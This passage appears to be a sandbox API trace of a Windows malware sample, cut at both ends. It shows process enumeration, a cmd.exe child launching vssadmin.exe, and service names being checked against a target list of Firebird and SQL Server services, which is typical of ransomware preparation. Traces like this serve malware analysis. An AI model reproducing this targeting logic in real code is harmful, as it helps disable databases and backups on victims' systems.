th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0223.080] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0223.080] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0223.081] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0223.081] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0223.846] lstrlenW (lpString="alienwed.exe") returned 12 [0223.846] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0223.847] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0223.847] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0223.848] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0223.848] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0223.850] lstrlenW (lpString="mp beginners.exe") returned 16 [0223.850] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0223.851] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0223.851] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0223.852] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0223.852] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0223.853] lstrlenW (lpString="harassment.exe") returned 14 [0223.853] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0223.854] lstrlenW (lpString="francis-communication.exe") returned 25 [0223.854] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0223.856] lstrlenW (lpString="gccinformational.exe") returned 20 [0223.856] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0223.857] lstrlenW (lpString="diploma.exe") returned 11 [0223.857] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0223.858] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0223.858] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.858] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0223.858] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.859] lstrlenW (lpString="svchost.exe") returned 11 [0223.860] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0223.861] lstrlenW (lpString="sppsvc.exe") returned 10 [0223.861] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.862] lstrlenW (lpString="svchost.exe") returned 11 [0223.862] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0223.863] lstrlenW (lpString="qnuriy.exe") returned 10 [0223.863] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.864] lstrlenW (lpString="cmd.exe") returned 7 [0223.864] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.865] lstrlenW (lpString="conhost.exe") returned 11 [0223.865] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0223.866] lstrlenW (lpString="vssadmin.exe") returned 12 [0223.866] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.867] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0223.867] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0223.868] lstrlenW (lpString="VSSVC.exe") returned 9 [0223.868] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.869] lstrlenW (lpString="svchost.exe") returned 11 [0223.869] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0223.870] lstrlenW (lpString="LogonUI.exe") returned 11 [0223.870] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0223.870] CloseHandle (hObject=0x1f4) returned 1 [0223.870] Sleep (dwMilliseconds=0x1f4) [0224.405] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5701a0 [0224.405] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0224.405] GetLastError () returned 0xea [0224.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f06078 [0224.406] EnumServicesStatusExW (in: hSCManager=0x5701a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0224.406] CloseServiceHandle (hSCObject=0x5701a0) returned 1 [0224.407] lstrlenW (lpString="Appinfo") returned 7 [0224.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0224.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0224.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0224.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0224.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0224.407] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0224.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0224.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0224.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0224.407] lstrlenW (lpString="AudioSrv") returned 8 [0224.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0224.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0224.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0224.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0224.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0224.407] lstrlenW (lpString="BFE") returned 3 [0224.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0224.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0224.407] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0224.407] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0224.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0224.408] lstrlenW (lpString="CryptSvc") returned 8 [0224.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0224.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0224.408] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0224.408] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0224.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0224.408] lstrlenW (lpString="CscService") returned 10 [0224.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0224.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0224.408] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0224.408] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0224.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0224.408] lstrlenW (lpString="DcomLaunch") returned 10 [0224.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.408] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0224.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0224.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0224.408] lstrlenW (lpString="Dhcp") returned 4 [0224.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0224.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0224.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0224.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0224.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0224.408] lstrlenW (lpString="Dnscache") returned 8 [0224.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0224.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0224.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0224.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0224.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0224.409] lstrlenW (lpString="DPS") returned 3 [0224.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0224.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0224.409] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0224.409] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0224.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0224.409] lstrlenW (lpString="eventlog") returned 8 [0224.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0224.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0224.409] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0224.409] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0224.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0224.409] lstrlenW (lpString="EventSystem") returned 11 [0224.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0224.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0224.409] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0224.409] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0224.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0224.409] lstrlenW (lpString="FontCache") returned 9 [0224.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0224.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0224.410] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0224.410] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0224.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0224.410] lstrlenW (lpString="gpsvc") returned 5 [0224.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0224.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0224.410] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0224.410] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0224.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0224.410] lstrlenW (lpString="iphlpsvc") returned 8 [0224.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.410] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0224.410] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0224.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0224.410] lstrlenW (lpString="LanmanServer") returned 12 [0224.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0224.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0224.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0224.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0224.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0224.410] lstrlenW (lpString="LanmanWorkstation") returned 17 [0224.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0224.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0224.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0224.411] lstrlenW (lpString="lmhosts") returned 7 [0224.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0224.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0224.411] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0224.411] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0224.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0224.411] lstrlenW (lpString="MMCSS") returned 5 [0224.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0224.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0224.411] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0224.411] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0224.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0224.411] lstrlenW (lpString="MpsSvc") returned 6 [0224.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0224.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0224.411] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0224.411] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0224.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0224.411] lstrlenW (lpString="Netman") returned 6 [0224.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0224.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0224.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0224.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0224.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0224.412] lstrlenW (lpString="netprofm") returned 8 [0224.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0224.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0224.412] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0224.412] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0224.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0224.412] lstrlenW (lpString="NlaSvc") returned 6 [0224.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0224.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0224.412] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0224.412] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0224.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0224.412] lstrlenW (lpString="nsi") returned 3 [0224.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0224.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0224.412] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0224.412] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0224.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0224.412] lstrlenW (lpString="PcaSvc") returned 6 [0224.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0224.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0224.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0224.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0224.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0224.413] lstrlenW (lpString="PlugPlay") returned 8 [0224.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0224.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0224.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0224.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0224.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0224.413] lstrlenW (lpString="Power") returned 5 [0224.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0224.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0224.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0224.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0224.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0224.413] lstrlenW (lpString="ProfSvc") returned 7 [0224.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0224.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0224.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0224.413] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0224.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0224.413] lstrlenW (lpString="RpcEptMapper") returned 12 [0224.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0224.413] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0224.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0224.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0224.414] lstrlenW (lpString="RpcSs") returned 5 [0224.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0224.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0224.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0224.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0224.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0224.414] lstrlenW (lpString="SamSs") returned 5 [0224.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0224.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0224.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0224.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0224.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0224.414] lstrlenW (lpString="Schedule") returned 8 [0224.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0224.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0224.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0224.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0224.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0224.414] lstrlenW (lpString="SENS") returned 4 [0224.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0224.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0224.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0224.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0224.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0224.415] lstrlenW (lpString="ShellHWDetection") returned 16 [0224.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0224.415] lstrcmpiW (lpString1="sqlwriter", 